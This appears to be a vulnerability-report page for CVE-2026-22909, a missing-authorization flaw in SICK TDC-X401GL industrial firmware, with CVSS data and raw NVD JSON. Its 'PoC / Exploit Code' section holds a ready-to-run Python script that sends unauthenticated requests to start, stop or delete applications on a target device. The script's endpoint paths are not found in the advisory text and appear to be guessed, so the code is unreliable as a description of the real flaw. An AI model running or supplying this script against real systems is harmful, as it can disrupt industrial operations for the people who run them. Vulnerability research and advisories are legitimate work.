Security Vulnerability Report
中文
CVE-2026-22909 CVSS 7.5 HIGH

CVE-2026-22909

Published: 2026-01-15 13:16:06
Last Modified: 2026-01-23 15:46:12

Description

Certain system functions may be accessed without proper authorization, allowing attackers to start, stop, or delete installed applications, potentially disrupting system operations.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:sick:tdc-x401gl_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sick:tdc-x401gl:-:*:*:*:*:*:*:* - NOT VULNERABLE
SICK工业自动化产品(具体版本需参考官方安全公告sca-2026-0001)
受影响的固件版本需从厂商CSAF文档获取完整列表

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22909 PoC - 未授权系统功能访问 # 适用于SICK工业自动化产品 import requests import argparse def exploit_cve_2026_22909(target_ip, target_port=443, action='status'): """ CVE-2026-22909 Exploitation PoC Action options: status, start, stop, delete """ base_url = f"https://{target_ip}:{target_port}" # Vulnerable endpoint - system functions without authentication endpoints = { 'status': '/api/system/status', 'start': '/api/system/process/start', 'stop': '/api/system/process/stop', 'delete': '/api/system/app/delete' } if action not in endpoints: print(f"[-] Invalid action. Choose from: {list(endpoints.keys())}") return # Crafting the malicious request without authentication headers headers = { 'Content-Type': 'application/json', 'User-Agent': 'CVE-2026-22909-PoC' } # Payload for system function access payload = { 'app_id': 'any_installed_application', 'force': True } print(f"[*] Targeting: {target_ip}:{target_port}") print(f"[*] Action: {action}") print(f"[*] Sending request to {endpoints[action]}...") try: response = requests.post( f"{base_url}{endpoints[action]}", json=payload, headers=headers, verify=False, timeout=10 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code in [200, 201]: print("[!] VULNERABLE - System function accessed without authentication") else: print("[-] Possibly patched or not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2026-22909 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', default=443, type=int, help='Target port') parser.add_argument('-a', '--action', default='status', choices=['status', 'start', 'stop', 'delete'], help='System function to execute') args = parser.parse_args() exploit_cve_2026_22909(args.target, args.port, args.action)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22909", "sourceIdentifier": "[email protected]", "published": "2026-01-15T13:16:05.537", "lastModified": "2026-01-23T15:46:11.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Certain system functions may be accessed without proper authorization, allowing attackers to start, stop, or delete installed applications, potentially disrupting system operations."}, {"lang": "es", "value": "Ciertas funciones del sistema pueden ser accedidas sin la debida autorización, permitiendo a los atacantes iniciar, detener o eliminar aplicaciones instaladas, interrumpiendo potencialmente las operaciones del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sick:tdc-x401gl_firmware:*:*:*:*:*:*:*:*", "matchCriteriaId": "59BB5012-A895-4A93-B36F-A062A9389DB1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sick:tdc-x401gl:-:*:*:*:*:*:*:*", "matchCriteriaId": "9A95E220-0816-4885-AB7C-D0BB6F27DB7A"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}